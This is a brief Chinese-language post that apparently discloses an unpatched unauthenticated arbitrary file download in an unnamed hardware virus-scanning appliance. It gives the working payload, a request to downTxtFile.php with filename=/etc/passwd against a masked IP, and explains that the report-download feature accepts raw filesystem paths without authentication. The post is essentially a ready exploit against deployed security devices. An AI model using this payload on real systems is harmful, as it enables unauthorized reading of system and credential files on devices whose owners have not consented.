某安全設備未受權訪問+任意文件下載0day

具體是哪家就不說了，硬件盒子，主要檢測病毒。

payload以下：

 https://xxx.xxx.xxx.xxx/downTxtFile.php?filename=/etc/passwd

 

比較簡單，當時有獲取報告的功能，本身傳入的物理路徑，能夠未受權訪問直接下載設備上的文件。